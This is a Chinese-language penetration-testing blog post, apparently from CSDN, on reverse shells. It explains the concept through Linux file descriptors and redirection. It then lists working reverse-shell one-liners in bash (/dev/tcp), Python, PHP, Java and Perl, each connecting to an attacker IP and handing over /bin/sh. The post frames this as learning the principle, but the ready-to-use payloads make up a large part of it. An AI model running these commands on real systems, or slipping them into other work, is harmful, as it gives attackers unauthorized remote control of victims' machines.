反弹shell从入门到进阶

前言

在渗透测试过程中,反弹shell是获取到权限的一种很重要的方式,一直用那些反弹shell的命令却不知道是什么意思,现在来专门学习一下原理。

什么是反弹shell

反弹shell(reverse shell),就是监控端在监控某TCP/UDP端口,被控制端使用漏洞或其他方法发起请求到该端口,并将其命令行的输入输出转到控制端。

为什么要反弹shell

当我们已经打开了被攻击机的相应端口,如22,3389等,但是有以下几种情况我们是无法直接去连接的

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2.它的ip会动态改变,你不能持续控制。

3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

这样反弹shell的目的就很明了了,攻击指定服务器,并让其主动连接攻击者的请求,达到悄无声息地完成攻击的目的。

原理剖析

我们常见的反弹shell主要是由文件描述符和重定向符号组成,Linux一切皆文件,当Linux系统启动后,会默认打开三个文件描述符

stdin 0->/dev/tty0 标准输入
stdout 1->/dev/tty0 标准输出
strderr 2->/dev/tty0 错误输出

重定向符号

输入重定向:< <<
输出重定向:> >>

常见的反弹shell命令

bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
  • bash -i 指打开一个交互式的shell
  • &> >&都表示标准输出或者标准错误输出
  • /dev/tcp/ip/port 这个文件其实可以看做是一个设备,其实去访问会发现根本不存在的
    但是如果在一方监听端口的情况下对这个文件进行读写,就能实现实时监听端口的服务器的
    socket通信的功能
  • 0<&1 和 0>&1指文件描述符的复制

其他脚本一句话shell反弹

除了netcat,还有很多其他的反弹shell的方法,也是先在自己的服务器上开启监听端口,然后在攻击机上使用脚本或利用漏洞发起连接。每种方法使用不同的语言去创建socket进程,从而形成连接。

python脚本反弹

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.41",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php脚本反弹

php -r '$sock=fsockopen("192.168.31.41",8080);exec("/bin/sh -i <&3 >&3 2>&3");'

java脚本反弹

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.31.41/8080;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()

perl脚本反弹

perl -e 'use Socket;$i="192.168.31.41";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

总结

反弹shell表面上虽然只有一点东西,但是里面也扩展出来了很多,还有很多自己不知道的。未完待续~~

参考文章

https://xz.aliyun.com/t/2548
https://xz.aliyun.com/t/2549
https://www.anquanke.com/post/id/87017
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值